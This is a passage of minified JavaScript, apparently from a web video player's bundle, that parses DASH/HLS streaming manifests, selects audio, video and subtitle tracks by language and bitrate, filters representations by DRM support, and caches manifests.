this._isStopped},enumerable:!1,configurable:!0}),n.prototype.getPayload=function(){return this._updateDeferred.promise},n}();t.AbstractUpdater=f;t.calculateUpdateDelayInMillis=e},13034:function(n,t,i){function r(n,t){var i,r;if(u.ModuleManager.has(f.ModuleName.HLS)){var e=u.ModuleManager.get(f.ModuleName.HLS).selectors,h=e.getHlsState,l=e.getDefaultLanguages,o=h(t),s=o?l(o):void 0;if(s)return r=null===(i=c.MimeTypeHelper.getMediaType(n))||void 0===i?void 0:i.toUpperCase(),r?s[r]:void 0}}function e(n,t){var i=t&&r(n,t),u={language:navigator.language||navigator.userLanguage||(null==i?void 0:i.language)};return u.language&&i&&s(u.language,i.language)&&(u.name=i.name),u}function o(n,t,i,r){var u,f;if(void 0===r&&(r=!1),0!==n.length){if(u=void 0,i&&(u=function(n,t,i){var u=n.find(function(n){return n._lang&&t.lang&&n._lang===t.lang}),r=n.find(function(n){return t.adaptationSetId&&n._internalId.equals(t.adaptationSetId)});return r=r||n.find(function(n){return t.id===n._internalId.adaptationSetId}),i?u||r:r||u}(n,i,r)),u)return u;if(t&&t.language)return f=n.filter(function(n){return!(!Boolean(n._lang)||null==n._lang)&&s(n._lang,t.language)}),f.find(function(n){return n.Representation.find(function(n){return n._name===t.name})})||f[0]}}function s(n,t){return Boolean((null==n?void 0:n.includes(t))||(null==t?void 0:t.includes(n)))}function h(n,t){return n.AdaptationSet.filter(function(n){return n._mimeType===t||n.Representation.find(function(n){return n._mimeType===t})})}Object.defineProperty(t,"__esModule",{value:!0});t.findAdaptationSetsForMimeType=t.getPreferredLanguage=t.getHlsDefaultLanguage=t.findAdaptationSetOfMimeType=void 0;var c=i(79814),u=i(91520),f=i(16368);t.findAdaptationSetOfMimeType=function(n,t,i){void 0===i&&(i={});var u,f=i.sourceState,c=i.langObj,l=i.periodSwitched,a=e(n,f),s=h(t,n);return a&&(u=o(s,a,c,l)),!u&&f&&(u=o(s,r(n,f),c,l)),u||s[0]};t.getHlsDefaultLanguage=r;t.getPreferredLanguage=e;t.findAdaptationSetsForMimeType=h},67883:function(n,t,i){var u=this&&this.__extends||function(){var n=function(t,i){return n=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(n,t){n.__proto__=t}||function(n,t){for(var i in t)Object.prototype.hasOwnProperty.call(t,i)&&(n[i]=t[i])},n(t,i)};return function(t,i){function r(){this.constructor=t}if("function"!=typeof i&&null!==i)throw new TypeError("Class extends value "+String(i)+" is not a constructor or null");n(t,i);t.prototype=null===i?Object.create(i):(r.prototype=i.prototype,new r)}}(),r;Object.defineProperty(t,"__esModule",{value:!0});t.createAdaptationSetIdFromMimeTypeAndIndex=t.AdaptationSetId=void 0;r=function(n){function t(t,i){var r=n.call(this,t)||this;return r._adaptationSetId=i,r}return u(t,n),Object.defineProperty(t.prototype,"adaptationSetId",{get:function(){return this._adaptationSetId},enumerable:!1,configurable:!0}),t.prototype.equals=function(t){return n.prototype.equals.call(this,t)&&this.adaptationSetId===(null==t?void 0:t.adaptationSetId)},t.prototype.key=function(){return n.prototype.key.call(this)+"-"+this.adaptationSetId},t}(i(96953).PeriodId);t.AdaptationSetId=r;t.createAdaptationSetIdFromMimeTypeAndIndex=function(n,t,i){return new r(n,"".concat(t,"-").concat(i))}},43752:function(n,t,i){function v(n){return 0===n.indexOf("_")?n.substring(1):n}function e(n,t,i){return void 0===i&&(i=[]),Object.keys(n).filter(function(n){return 0===i.length||i.indexOf(n)>-1}).forEach(function(i){t[v(i)]=n[i]}),t}function y(n,t,i){if(!n)return null;var u={id:n._id?String(n._id):null,bitrate:n._bandwidth||0},f=b.CodecStringHelper.getExtractedCodecStrings(n._codecs||i);return function(n,t){return r.MimeTypeHelper.isAudio(t)}(0,t)?function(n,t,i){return i.audio&&(n.codec=i.audio),n.label=t._label||o(n.bitrate),n}(u,n,f):function(n,t){return r.MimeTypeHelper.isVideo(t)}(0,t)?function(n,t,i){n.width=t._width||0;n.height=t._height||0;i.video&&(n.codec=i.video);t.hasOwnProperty("_frameRate")&&(n.frameRate=t._frameRate);var r=o(n.bitrate);return n.width&&n.height&&(r="".concat(n.width,"x").concat(n.height,", ").concat(r)),n.label=t._label||r,n}(u,n,f):(u.label=n._label||o(u.bitrate),u)}function o(n){return"".concat(Math.round(n/1e3),"kbps")}function p(n,t){return"".concat(n,'; codecs="').concat(t,'"')}Object.defineProperty(t,"__esModule",{value:!0});t.getContentTypeFromMimeTypeAndCodecs=t.getMinimumUpdatePeriodInSeconds=t.representationToQuality=t.applyProperties=t.stripUnderscorePrefix=t.MPDExtractor=void 0;var s=i(18665),u=i(33696),w=i(42055),b=i(42283),f=i(44388),r=i(79814),h=i(331),c=i(54838),l=i(91520),a=i(16368),k=i(41735),d=i(77874),g=function(){function n(n,t){var i=this;this.isLive=function(){return"dynamic"===i.getMpd()._type};this.context=n;this.sourceContext=t;this.settings=n.settings;this.adjustedPeriodStartTimes=!1;this.synchronizedTimeService=n.serviceManager.get(s.ServiceName.SynchronizedTimeService,this.sourceContext.sourceIdentifier);this.sourceStore=n.serviceManager.get(s.ServiceName.SourceStoreService,this.sourceContext.sourceIdentifier)}return n.prototype.getMpd=function(){return d.getManifest(this.sourceStore.getState())},n.prototype.getPeriods=function(){return this.getMpd().Period},n.prototype.getAdaptationSets=function(n){var t=this.getPeriods().find(function(t){return t._id===n});return t?t.AdaptationSet:[]},n.prototype.adjustPeriodStartTimes=function(){if(!this.adjustedPeriodStartTimes&&!this.getMpd()._isHls){var n=this.isLive()?h.toSeconds(this.getAvailabilityStartTime()):w.getStartTimeOffset(this.sourceStore.getState());this.sourceStore.dispatch(k.adjustPeriodStartTimes(n));this.adjustedPeriodStartTimes=!0}},n.prototype.getAvailabilityStartTime=function(){return this.isLive()&&this.getMpd()._availabilityStartTime?c.Util.getUtcDate(this.getMpd()._availabilityStartTime).getTime()-this.getTimeDifference():0},n.prototype.getAvailabilityEndTime=function(){if(this.getMpd().hasOwnProperty("_availabilityEndTime")){var n=c.Util.getUtcDate(this.getMpd()._availabilityEndTime).getTime();return new Date(n-this.getTimeDifference())}return null},n.prototype.getTimeDifference=function(){return this.synchronizedTimeService?this.synchronizedTimeService.getTimeDifference():0},n.prototype.getType=function(){return this.getMpd()._type},n.prototype.getDuration=function(){return this.getMpd()._mediaPresentationDuration},n.prototype.getRequestTimestamp=function(){return this.getMpd()._requestTimestamp},n.isValueWithinBounds=function(n,t,i){return!n||n>=t&&n<=i},n.prototype.isAllowedVideoQuality=function(t){var i=n.isValueWithinBounds(t.width,this.context.config.adaptation.resolution.minSelectableVideoWidth,this.context.config.adaptation.resolution.maxSelectableVideoWidth),r=n.isValueWithinBounds(t.height,this.context.config.adaptation.resolution.minSelectableVideoHeight,this.context.config.adaptation.resolution.maxSelectableVideoHeight),u=n.isValueWithinBounds(t.bitrate,this.settings.MIN_SELECTABLE_VIDEO_BITRATE,this.settings.MAX_SELECTABLE_VIDEO_BITRATE);return i&&r&&u},n.prototype.isAllowedAudioQuality=function(t){return n.isValueWithinBounds(t.bitrate,this.settings.MIN_SELECTABLE_AUDIO_BITRATE,this.settings.MAX_SELECTABLE_AUDIO_BITRATE)},n.prototype.getAllowedQualities=function(n,t){var u=this,i;return n?(i=t.filter(function(t){return r.MimeTypeHelper.isVideo(n)&&u.isAllowedVideoQuality(t)||r.MimeTypeHelper.isAudio(n)&&u.isAllowedAudioQuality(t)}),i.length<1&&t.length>0?t:i):[]},n.prototype.getQualityForAdaptationSet=function(n){if(!n)return[];var t=n.Representation.map(function(t){return y(t,n._mimeType,n._codecs)});return this.settings.EXCLUDE_DISALLOWED_REPRESENTATIONS&&(t=this.getAllowedQualities(n._mimeType,t)),t},n.prototype.getAudioQualities=function(n){var t=this,i=this.getValidPeriodId(n);return this.getAdaptationSets(i).reduce(function(n,i){return i._mimeType&&r.MimeTypeHelper.isAudio(i._mimeType)&&(n[i._internalId.adaptationSetId]=t.getQualityForAdaptationSet(i)),n},{})},n.prototype.getVideoQualities=function(n){var i=this.getValidPeriodId(n),t=this.getAdaptationSets(i).find(function(n){return n._mimeType&&r.MimeTypeHelper.isVideo(n._mimeType)});return t?this.getQualityForAdaptationSet(t):[]},n.prototype.getLangObjectFromAdaptationSet=function(n,t,i){var u={id:null,lang:null,adaptationSetId:null,kind:null,label:"off",url:null},f=n._mimeType&&n._mimeType.indexOf(t)>-1,o=i&&n._mimeType.indexOf(i)>-1;return r.MimeTypeHelper.isSubtitle(t)&&(u.kind="subtitle"),n.Role&&n.Role.length>0&&(u.role=n.Role.map(function(n){return e(n,{})})),(f||o)&&(e(n,u,["_lang","_isFragmented"]),u.lang=u.lang||"und",u.label=n._label||u.lang,u.adaptationSetId=n._internalId,u.id=n._internalId.adaptationSetId),u},n.prototype.toSubtitleTrack=function(n,t,i){var r=this.getLangObjectFromAdaptationSet(n,t,i),u={id:r.id,lang:r.lang,kind:r.kind,isFragmented:r.isFragmented,enabled:!1,label:r.label};return null!=r.role&&(u.role=r.role),u.forced=function(n,t){return Boolean(n.role&&n.role.some(function(n){return["forced_subtitle"].includes(n.value)}))||Boolean(t._hls&&t._hls.isForced)}(u,n.Representation[0]),u},n.prototype.getAvailableSubtitles=function(n){var i=this,t=0;return n=this.getValidPeriodId(n),this.getAdaptationSets(n).filter(function(n){return r.MimeTypeHelper.isSubtitle(n._mimeType)}).map(function(n){var r=i.toSubtitleTrack(n,"application","text");return r.id||(t++,r.id="sub_".concat(t)),r})},n.prototype.getClosedCaptionLabels=function(n){return n=this.getValidPeriodId(n),this.getAdaptationSets(n).filter(function(n){return n.ClosedCaptionLabels}).flatMap(function(n){return Object.keys(n.ClosedCaptionLabels).map(function(t){var i=n.ClosedCaptionLabels[t];return{id:t,kind:"captions",lang:i.lang||"unknown",label:i.label||"Captions (".concat(t,")")}})})},n.prototype.getAvailableAudio=function(n,t){var h=this,i,s;void 0===t&&(t=!0);var c=this.getValidPeriodId(n),e=this.getAdaptationSets(c),o=0,f=e.filter(function(n){return r.MimeTypeHelper.isAudio(n._mimeType)}).map(function(n){var t=h.getLangObjectFromAdaptationSet(n,u.MediaType.Audio);return t&&"off"!==t.label?(t.id||(t.id="audio_"+o,o++),t):null});return t&&(i=e.find(function(n){return r.MimeTypeHelper.isVideo(n._mimeType)}),i&&i.ContentComponent&&(s=i.ContentComponent.filter(function(n){return n._contentType===u.MediaType.Audio}).map(function(n){return{id:n._id,lang:n._lang,label:n._id,adaptationSetId:i._internalId}}),f=f.concat(s))),f.filter(function(n){return n})},n.prototype.getAvailableVideo=function(n){var i=this.getValidPeriodId(n),t=this.getAdaptationSets(i).find(function(n){return r.MimeTypeHelper.isVideo(n._mimeType)});return t?[this.getLangObjectFromAdaptationSet(t,u.MediaType.Video)]:[]},n.getContentProtectionForManifestElement=function(n){var t;return(null===(t=null==n?void 0:n.ContentProtection)||void 0===t?void 0:t.length)&&l.ModuleManager.has(a.ModuleName.DRM)?l.ModuleManager.get(a.ModuleName.DRM).ContentProtectionHelper.parseContentProtectionDescriptors(n.ContentProtection):[]},n.getContentProtectionForAdaptationSet=function(t){for(var i=[],r=0;r<t.Representation.length;r++)i=i.concat(n.getContentProtectionForManifestElement(t.Representation[r]));return i.concat(n.getContentProtectionForManifestElement(t))},n.prototype.getTimeShiftBufferDepthSeconds=function(){if(this.isLive()){var n=this.getMpd()._timeShiftBufferDepth,t=h.toSeconds(Date.now()-this.getAvailabilityStartTime());return n===Number.NEGATIVE_INFINITY?-t:Math.max(n,-t)}return 0},n.getCurrentAndSuccessorPeriod=function(n,t){for(var r=[null,0,null],u=r[0],i=r[1],f=r[2];i<n.length;i++)if(n[i]._id===t){u=n[i];f=n[i+1]||null;break}return[u,f]},n.prototype.getPeriodDuration=function(t,i){var e;i=i||this.getMpd().Period;var o=n.getCurrentAndSuccessorPeriod(i,t),r=o[0],u=o[1];return r&&r._duration?f.DurationConverter.getDurationInSec(r._duration):r&&r.start&&u&&u.start?u.start-r.start:this.getMpd()._mediaPresentationDuration&&(e=f.DurationConverter.getDurationInSec(this.getMpd()._mediaPresentationDuration),!isNaN(e))?e:Number.POSITIVE_INFINITY},n.prototype.getDRMCapabilitiesForPeriod=function(n){n=this.getValidPeriodId(n);var t=this.getMpd().Period.find(function(t){return t._id===n});return this.getDRMCapabilitiesFromPeriod(t)},n.prototype.getDRMCapabilitiesFromPeriod=function(t){for(var i=[],u=[],f=0,e=t.AdaptationSet;f<e.length;f++){var o=e[f],s=o._mimeType,h=n.getMimeTypeCodecStringForAdaptationSet(o);r.MimeTypeHelper.isVideo(s)?u=u.concat(h):r.MimeTypeHelper.isAudio(s)&&(i=i.concat(h))}return[i,u]},n.prototype.dispose=function(){this.settings=null},n.getMimeTypeCodecStringForAdaptationSet=function(t){for(var e,r=[],i=0,u=t.Representation;i<u.length;i++){var o=u[i],f=n.getAttributeFromRepresentationOrAdaptationSet("_codecs",o,t),s=t._mimeType;t._mimeType&&f&&(e=p(s,f),r.push({contentType:e}))}return r},n.getAttributeFromRepresentationOrAdaptationSet=function(n,t,i){return t.hasOwnProperty(n)&&t[n]?t[n]:i.hasOwnProperty(n)&&i[n]?i[n]:null},n.prototype.getValidPeriodId=function(n){var t=this.getPeriods(),i;return t.find(function(t){return t._id===n})?n:(i=t[t.length-1]._id,this.context.logger.debug("Period "+n+" not available - return last period ("+i+")"),i)},n.prototype.getEventStreamEvents=function(n){var t=this;return n&&n.EventStream?n.EventStream.filter(function(n){return n.Event}).flatMap(function(i){var r,u=Number(null!==(r=i._timescale)&&void 0!==r?r:1);return t.mapToEventStreamEvent(n.start,i,u)}):[]},n.prototype.mapToEventStreamEvent=function(n,t,i){var r=this;return t.Event.map(function(u){var f={},o=u._presentationTime||0,e;return(f.startTime=o/i+n,u._duration)?(e=u._duration/i,f.endTime=f.startTime+e):f.endTime=f.startTime,f.data=r.getEventData(u,t._schemeIdUri),f})},n.prototype.getEventData=function(n,t){var i=/<event[^>]*>(.*)(<\/event>|\/>)/g.exec(n.rawXmlRepresentation),u=void 0,r;return i&&i.length>1&&(u=i[1]),r={},Object.getOwnPropertyNames(n).filter(function(n){return!["_presentationTime","_duration","__text"].some(function(t){return t===n})&&0===n.lastIndexOf("_",0)}).forEach(function(t){r[t.substring(1,t.length)]=n[t]}),{properties:r,content:u,schemeIdUri:t}},n}();t.MPDExtractor=g;t.stripUnderscorePrefix=v;t.applyProperties=e;t.representationToQuality=y;t.getMinimumUpdatePeriodInSeconds=function(n){return null==n._minimumUpdatePeriod?1/0:f.DurationConverter.getDurationInSec(n._minimumUpdatePeriod)};t.getContentTypeFromMimeTypeAndCodecs=p},48928:function(n,t,i){function u(n,t){t[n]||(t[n]={})}Object.defineProperty(t,"__esModule",{value:!0});t.ManifestCachingService=void 0;var r=i(76885),f=function(){function n(){this.cache={}}return n.prototype.set=function(n,t,i){var f=r.URLHelper.toFullUrl(n);u(f,this.cache);this.cache[f][t]=i},n.prototype.setExpire=function(n,t){var i=r.URLHelper.toFullUrl(n);u(i,this.cache);this.cache[i].expire=t},n.prototype.get=function(n,t){var u=r.URLHelper.toFullUrl(t),i=this.cache[u];if(i&&function(n){return n>=Date.now()}(i.expire))return i[n];delete this.cache[u]},n.prototype.cacheHttpResponse=function(n,t,i){void 0===i&&(i=1/0);this.set(t,"httpResponse",n);this.setExpire(t,i)},n.prototype.cacheParsedManifest=function(n,t,i){void 0===i&&(i=1/0);this.set(t,"parsedManifest",n);this.setExpire(t,i)},n.prototype.cacheSegmentList=function(n,t,i){void 0===i&&(i=1/0);this.set(t,"segmentList",n);this.setExpire(t,i)},n.prototype.getHttpResponse=function(n){return this.get("httpResponse",n)},n.prototype.getParsedManifest=function(n){return this.get("parsedManifest",n)},n.prototype.getSegmentList=function(n){return this.get("segmentList",n)},n.prototype.clear=function(){this.cache={}},n.prototype.dispose=function(){this.cache={}},n}();t.ManifestCachingService=f},3337:function(n,t,i){Object.defineProperty(t,"__esModule",{value:!0});t.createManifestLoadingService=void 0;var e=i(25550),o=i(28764),r=i(33696),u=i(91520),f=i(16368);t.createManifestLoadingService=function(n,t,i){switch(n.type){case r.StreamType.Dash:return new(u.ModuleManager.get(f.ModuleName.DASH).MPDLoader)(t,i);case r.StreamType.Hls:return new(u.ModuleManager.get(f.ModuleName.HLS).M3u8Loader)(t,i);case r.StreamType.Smooth:return new(u.ModuleManager.get(f.ModuleName.Smooth).SmoothStreamingLoader)(t,i);default:throw new o.PlayerError(e.ErrorCode.SOURCE_INVALID,{given:n.type,supported:"dash, hls, smooth"},"The provided stream type is not supported by the player.");}}},94938:function(n,t,i){function h(n){return n.reduce(function(n,t){var i=s(t);return u.MimeTypeHelper.isVideo(i)?n.videoSets.push(t):u.MimeTypeHelper.isAudio(i)?n.audioSets.push(t):n.otherSets.push(t),n},{videoSets:[],audioSets:[],otherSets:[]})}function f(n,t){var i=function(n){for(var i=0;i<t.length;i++)if(0===n.indexOf(t[i]))return i;return t.length+1};return n.sort(function(n,t){return i(e(n))-i(e(t))})}function e(n){var t,i;return(null===(t=null==n?void 0:n._codecs)||void 0===t?void 0:t.length)>0?n._codecs:n.Representation&&n.Representation.length>0&&(i=n.Representation[n.Representation.length-1],i._codecs)?i._codecs:""}function s(n){if(n._mimeType)return n._mimeType;if(Array.isArray(n.Representation)){var t=n.Representation.find(function(n){return n._mimeType});if(t)return t._mimeType}return""}var r=this&&this.__assign||function(){return r=Object.assign||function(n){for(var r,i,t=1,u=arguments.length;t<u;t++)for(i in r=arguments[t])Object.prototype.hasOwnProperty.call(r,i)&&(n[i]=r[i]);return n},r.apply(this,arguments)},u,o;Object.defineProperty(t,"__esModule",{value:!0});t.removeRepresentations=t.getMimeTypeForAdaptationSet=t.getCodecsFromAdaptationSet=t.sortAdaptationSetsByBestCodec=t.orderAdaptationSetsByCodec=void 0;u=i(79814);o=i(38925);t.orderAdaptationSetsByCodec=function(n,t){return(n=r({},n)).Period=n.Period.map(function(n){if(!n.AdaptationSet)return r({},n);var u=h(n.AdaptationSet),o=u.videoSets,s=u.audioSets,c=u.otherSets,e=f(o,t.video),i={};return s.forEach(function(n){var t=n._lang||"none";i[t]=i[t]||[];i[t].push(n)}),Object.keys(i).forEach(function(n){e=e.concat(f(i[n],t.audio))}),r(r({},n),{AdaptationSet:e.concat(c)})}),n};t.sortAdaptationSetsByBestCodec=f;t.getCodecsFromAdaptationSet=e;t.getMimeTypeForAdaptationSet=s;t.removeRepresentations=function(n,t){if(!(n.Period&&n.Period.length>0)||0===t.length)return n;var i=n.Period.map(function(n){return function(n,t){var i=n.AdaptationSet.map(function(n){return function(n,t,i){var u=t.Representation.filter(function(t){return!i.some(function(i){return i.equals(new o.RepresentationId(n,t._id))})});return r(r({},t),{Representation:u})}(n._internalId,n,t)}).filter(function(n){return n.Representation.length>0});return r(r({},n),{AdaptationSet:i})}(n,t)}).filter(function(n){return n.AdaptationSet.length>0});return r(r({},n),{Period:i})}},38353:function(n,t,i){function y(n){var t;return(n=r({},n)).Period=null===(t=n.Period)||void 0===t?void 0:t.map(function(n){var t;return r(r({},n),{AdaptationSet:null===(t=n.AdaptationSet)||void 0===t?void 0:t.map(function(t,i){var u,f=fi.createAdaptationSetIdFromMimeTypeAndIndex(n._id,t._mimeType,i);return r(r({},t),{_internalId:f,_periodId:n._id,Representation:null===(u=t.Representation)||void 0===u?void 0:u.map(function(n){return r(r({},n),{_internalId:new ut.RepresentationId(f,n._id)})})})})})}),n}function et(n){if(u.ModuleManager.has(f.ModuleName.DRM)){var t=u.ModuleManager.get(f.ModuleName.DRM).ContentProtectionHelper.getFirstKeyId;ot(n,function(n){for(var i,u=t(n.ContentProtection),r=0;n.Representation&&r<n.Representation.length;r++)i=n.Representation[r],(u||i.ContentProtection)&&(i.associatedKid=i.ContentProtection&&t(i.ContentProtection)||u)})}}function ot(n,t){for(var r,u,i=0;n.Period&&i<n.Period.length;i++)for(r=n.Period[i],u=0;r.AdaptationSet&&u<r.AdaptationSet.length;u++)t(r.AdaptationSet[u])}function st(n,t){if(n&&n.length){if(t<n[0].start)return n[0];var i=n[n.length-1];return t>=i.start?i:function(n,t){for(var r,i=0;i<n.length-1;i++){if(r=n[i].start+n[i].duration,t>=n[i].start&&t<r)return n[i];if(t>=r&&t<n[i+1].start)return n[i+1]}}(n,t)||i}}function ht(n,t){return void 0===t&&(t=-1/0),n.reduce(function(n,i){return i._bandwidth>=t?Math.min(n,i._bandwidth):n},1/0)}function ct(n,t,i){void 0===i&&(i=function(){return!0});var r=n.filter(i),u=r.filter(function(n){return n._bandwidth===t});return u.length>0?u:function(n,t){var i=n.map(function(n){return n._bandwidth}).reduce(function(n,i){return Math.abs(i-t)<Math.abs(n-t)?i:n});return n.filter(function(n){return n._bandwidth===i})}(r,t)}function lt(n,t,i){void 0===n&&(n=[]);void 0===i&&(i=function(){return!0});var r=n.filter(i),u=null,f=-1/0;return r.forEach(function(n){n._bandwidth>f&&n._bandwidth<=t&&(f=n._bandwidth,u=n)}),u||r[0]}function at(n,t){return void 0===n&&(n=[]),n.find(function(n){return n._internalId.equals(t)})}function vt(n,t,i){var r=i?"videoCodecPriority":"audioCodecPriority";return(null==t?void 0:t.options)&&t.options[r]?t.options[r]:n.playback&&n.playback[r]?n.playback&&n.playback[r]:[]}function yt(n,t){return{video:vt(n,t,!0),audio:vt(n,t,!1)}}function p(n,t){return n&&t&&n.Period?n.Period.find(function(n){return n._id===t}):null}function w(n){if(null!=n)return n.Period[0]}function b(n){var t=v.getCodecsFromAdaptationSet(n),i,r;return!t||0===t.length?null:(i=it.CodecStringHelper.getExtractedCodecStrings(t),r=n._mimeType.split("/")[0],i[r]?it.CodecStringHelper.extractCodec(i[r]):null)}function pt(n){return n.reduce(function(n,t){return n[t._id]=function(n){return n.AdaptationSet.map(function(n){return n._mimeType}).filter(function(n){return o.MimeTypeHelper.isAV(n)})}(t),n},{})}var wt=this&&this.__extends||function(){var n=function(t,i){return n=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(n,t){n.__proto__=t}||function(n,t){for(var i in t)Object.prototype.hasOwnProperty.call(t,i)&&(n[i]=t[i])},n(t,i)};return function(t,i){function r(){this.constructor=t}if("function"!=typeof i&&null!==i)throw new TypeError("Class extends value "+String(i)+" is not a constructor or null");n(t,i);t.prototype=null===i?Object.create(i):(r.prototype=i.prototype,new r)}}(),r=this&&this.__assign||function(){return r=Object.assign||function(n){for(var r,i,t=1,u=arguments.length;t<u;t++)for(i in r=arguments[t])Object.prototype.hasOwnProperty.call(r,i)&&(n[i]=r[i]);return n},r.apply(this,arguments)},bt=this&&this.__spreadArray||function(n,t,i){if(i||2===arguments.length)for(var u,r=0,f=t.length;r<f;r++)!u&&r in t||(u||(u=Array.prototype.slice.call(t,0,r)),u[r]=t[r]);return n.concat(u||Array.prototype.slice.call(t))};Object.defineProperty(t,"__esModule",{value:!0});t.getCodecOfAdaptationSetMimeType=t.getCodecPriorities=t.getRepresentationById=t.getMatchingRepresentationByBandwidth=t.getMatchingRepresentationsByBandwidth=t.findLowestPossibleBandwidthFromRepresentations=t.getNearestPeriodForTime=t.iterateAdaptationSets=t.addDrmKidsToRepresentations=t.initializeInternalIds=t.ManifestService=void 0;var k=i(25550),d=i(28764),e=i(18665),kt=i(60997),g=i(62510),dt=i(57620),l=i(25226),gt=i(68039),nt=i(63668),ni=i(95328),ti=i(91397),ii=i(34731),ri=i(27177),tt=i(81361),it=i(42283),h=i(44388),o=i(79814),a=i(331),u=i(91520),f=i(16368),s=i(41735),ui=i(77874),rt=i(13034),fi=i(67883),v=i(94938),c=i(43752),ei=i(96953),ut=i(38925),ft="Outdated",oi=function(n){function t(t,i){var r=n.call(this,{onRestore:function(){return r.onRestore()}})||this,u;return r.context=t,r.lastManifestUpdateId=0,r.dispatchQualityRemovedEvent=function(n){var t=r.getAdaptationSet(n._internalId),i;t&&(i=function(t){r.context.eventHandler.dispatchEvent(t,{quality:{id:n._id,bitrate:n._bandwidth}})},o.MimeTypeHelper.isAudio(t._mimeType)?i(g.PlayerEvent.AudioQualityRemoved):o.MimeTypeHelper.isVideo(t._mimeType)&&i(g.PlayerEvent.VideoQualityRemoved))},r.copyRequiredPropertiesToRepresentations=function(n){(n.Representation||[]).forEach(function(t){n._codecs&&!t._codecs&&(t._codecs=n._codecs);n._width&&!t._width&&(t._width=n._width);n._height&&!t._height&&(t._height=n._height)});delete n.SegmentTemplate},r.sourceContext=i,r.settings=t.settings,r.excludedRepresentations=[],u=r.sourceContext.sourceIdentifier,r.synchronizedTimeService=t.serviceManager.get(e.ServiceName.SynchronizedTimeService,u),r.sourceStore=t.serviceManager.get(e.ServiceName.SourceStoreService,u),r}return wt(t,n),Object.defineProperty(t.prototype,"mpdExtractor",{get:function(){return this._mpdExtractor||(this._mpdExtractor=new c.MPDExtractor(this.context,this.sourceContext)),this._mpdExtractor},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"manifest",{get:function(){var n;return ui.getManifest(null===(n=this.sourceStore)||void 0===n?void 0:n.getState())},enumerable:!1,configurable:!0}),t.prototype.setManifest=function(n){this.sourceStore.dispatch(s.setManifestAction(this.preProcessManifest(n)))},t.prototype.updateManifest=function(n){var t=this,i;return this.lastManifestUpdateId++,i=this.lastManifestUpdateId,this.synchronizeWithTimeserver(n).then(function(){return t.ensureStillSameOperation(i),t.adjustManifestToKeySystemSupport(n)}).then(function(){t.ensureStillSameOperation(i);t.reinitializeAndUpdateManifest(n)}).catch(function(n){if(n!==ft)throw n;t.context.logger.debug("Skipping manifest update, since a newer manifest is available")})},t.prototype.ensureStillSameOperation=function(n){if(n!==this.lastManifestUpdateId)throw ft;},t.prototype.adjustManifestToKeySystemSupport=function(n){var t,i,r,u,h=this,f=null!==(r=null===(i=null===(t=this.context.serviceManager)||void 0===t?void 0:t.get(e.ServiceName.DrmService))||void 0===i?void 0:i.getUsedOrEarlyResolvedKeySystemUid())&&void 0!==r?r:null;if(!f||!n.Period||!(null===(u=this.context.serviceManager)||void 0===u?void 0:u.has(e.ServiceName.DrmDetectorService)))return Promise.resolve();var l=this.context.serviceManager.get(e.ServiceName.DrmDetectorService),s=function(n,t){var i=[],r=[];return n.Period.forEach(function(n){var u=t.getDRMCapabilitiesFromPeriod(n);i=i.concat(u[0]);r=r.concat(u[1])}),{audioCapabilities:i,videoCapabilities:r}}(n,this.mpdExtractor),a=s.audioCapabilities,v=s.videoCapabilities;return l.getSupportedCapabilities(f,a,v).then(function(t){return function(n,t,i){n.Period.forEach(function(n){n.AdaptationSet=n.AdaptationSet.filter(function(r){return r.Representation=r.Representation.filter(function(u){var f=n.ContentProtection||r.ContentProtection,e=(null==f?void 0:f.length)>0,s=c.getContentTypeFromMimeTypeAndCodecs(u._mimeType,u._codecs),h=function(n,t,i){return o.MimeTypeHelper.isAudio(n)?Boolean(t.find(function(t){return t.contentType===n})):!o.MimeTypeHelper.isVideo(n)||Boolean(i.find(function(t){return t.contentType===n}))}(s,t.audioCapabilities,t.videoCapabilities);return e&&!h&&i.debug("Representation not supported by MediaKeySystem (".concat(s)),!e||h}),!o.MimeTypeHelper.isAV(r._mimeType)||r.Representation.length>0})})}(n,t,h.context.logger)})},t.prototype.reinitializeAndUpdateManifest=function(n){var t,r,i;ri.isContextAvailable(this.context)&&this.context.serviceManager&&((this.disposeMpdExtractor(),n.isInitialized=!1,this.setManifest(n),this.isLive())&&(t=this.getFirstPeriod(),r=this.isHlsManifest()&&t?t.start:a.toSeconds(this.getAvailabilityStartTime()),this.sourceStore.dispatch(ni.setStartTimeOffset(r))),this.mpdExtractor.adjustPeriodStartTimes(),i=this.parseStreamDuration(),dt.maybeFireDurationChangedEvent(this.parsedDuration,i,this.context.eventHandler),this.parsedDuration=i,this.setManifestInitialized(!0))},t.prototype.excludeRepresentations=function(n){var r=this,u=n.map(function(n){return r.getRepresentationById(n)}).filter(function(n){return Boolean(n)}),t,i;return this.setManifestInitialized(!1),t=pt(this.manifest.Period),this.excludedRepresentations=tt.ArrayHelper.union(this.excludedRepresentations,n),this.sourceStore.dispatch(s.removeRepresentationsAction(this.excludedRepresentations)),i=pt(this.manifest.Period),Object.keys(t).every(function(n){return null!=i[n]&&t[n].length===i[n].length})?(this.disposeMpdExtractor(),u.forEach(this.dispatchQualityRemovedEvent),this.setManifestInitialized(!0),!0):(this.context.eventHandler.fireError(new d.PlayerError(k.ErrorCode.SOURCE_ERROR,void 0,"No playable track left")),!1)},t.prototype.isRepresentationExcluded=function(n){return this.excludedRepresentations.some(function(t){return t.equals(n)})},t.prototype.resetExcludedRepresentations=function(){this.excludedRepresentations=[]},t.prototype.onRestore=function(){this.setPlayerDRM(this.getManifest());this.sourceStore.dispatch(s.setManifestAction(y(this.getManifest())))},t.getSupplementalProperties=function(n,t){return!n.SupplementalProperty||n.SupplementalProperty.length<=0?null:n.SupplementalProperty.filter(function(n){return n._schemeIdUri===t})},t.prototype.findMatchingSwitchableAdaptationSets=function(n,t,i){var u=i&&i.length>0;if(!u&&!this.settings.ADAPTATION_SET_SWITCHING_WITHOUT_SUPPLEMENTAL_PROPERTY)return null;var r=[],f=n._group,e=b(n);return u&&i.forEach(function(n){return r.push(n._value)}),this.settings.ADAPTATION_SET_SWITCHING_WITHOUT_SUPPLEMENTAL_PROPERTY&&t.forEach(function(n){r.includes(n._id)||r.push(n._id)}),t.filter(function(t){if(!r.includes(t._id)||t._id===n._id)return!1;var i=t._group===f,u=t._mimeType===n._mimeType,o=b(t)===e,s=t._lang===n._lang;return u&&o&&i&&s})},t.prototype.getSwitchableAdaptationSets=function(n){var i=this;return n.AdaptationSet?n.AdaptationSet.reduce(function(r,u){var 